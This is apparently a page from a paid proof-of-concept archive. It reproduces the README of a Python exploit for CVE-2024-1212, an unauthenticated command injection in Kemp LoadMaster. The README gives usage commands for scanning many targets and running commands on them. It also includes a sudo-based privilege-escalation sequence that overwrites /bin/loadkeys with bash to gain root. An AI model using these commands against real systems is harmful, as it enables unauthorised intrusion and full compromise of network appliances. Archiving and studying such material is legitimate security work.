Goal Reached Thanks to every supporter β€” we hit 100%!

Goal: 1000 CNY Β· Raised: 1000 CNY

100.0%

CVE-2024-1212 PoC β€” LoadMaster Pre-Authenticated OS Command Injection

Source
Associated Vulnerability
Title:LoadMaster Pre-Authenticated OS Command Injection (CVE-2024-1212)
Description:Unauthenticated remote attackers can access the system through the LoadMaster management interface, enabling arbitrary system command execution.
Readme
# CVE-2024-1212 Command Injection Exploit for Kemp LoadMaster πŸ›‘οΈπŸ”“

This Python script is designed as a proof of concept (PoC) to demonstrate an unauthenticated command injection vulnerability in Kemp LoadMaster, identified as CVE-2024-1212. 

## Features 🌟

- Scan a single target or multiple targets for the CVE-2024-1212 vulnerability.
- Execute commands on vulnerable targets.
- Utilize multi-threading for faster scanning of multiple targets.
- Save vulnerable targets to an output file for further analysis.

## Usage πŸš€

To use this script, Python 3 must be installed on your system. You can execute the script in the terminal or command prompt as follows:

```bash
python exploit.py --url "http://target-url.com"
```

To scan multiple targets from a file:

```bash
python exploit.py -f targets.txt -o vulnerable.txt -t 50
```

### Options

- `-u`, `--url`: Specify a target URL for command injection.
- `-f`, `--file`: Specify a file containing target URLs to scan.
- `-o`, `--output`: Specify an output file for saving scan results.
- `-t`, `--threads`: Specify the number of threads to use for scanning.

## Disclaimer ⚠️

This tool is provided for educational purposes only and is designed to help security professionals test the vulnerability of their own systems. Unauthorized testing on systems that you do not have explicit permission to test is illegal and unethical. Use this tool responsibly.

## Privilege Escalation πŸ›‘οΈ

Once a shell has been obtained, privilege escalation can be achieved by following these commands as per the researcher's guidance:

```bash
sudo /bin/cp /bin/loadkeys /tmp/loadkeys
sudo /bin/cp /bin/bash /bin/loadkeys
sudo /bin/loadkeys -c /bin/bash
cp /tmp/loadkeys /bin/loadkeys
```

## Resources πŸ“š

This PoC was inspired by research from Rhino Security Labs. For more detailed information about CVE-2024-1212 and its implications, please visit [their research page](https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/?utm_content=286496380&utm_medium=social&utm_source=twitter&hss_channel=tw-1184539364).
File Snapshot

[4.0K] /data/pocs/3f502b3a3da72d54f67a52dd043f0eb72ed8a85a β”œβ”€β”€ [7.0K] exploit.py β”œβ”€β”€ [2.1K] README.md └── [ 75] requirements.txt 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers β€” if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online β€” thank you for the support. View subscription plans β†’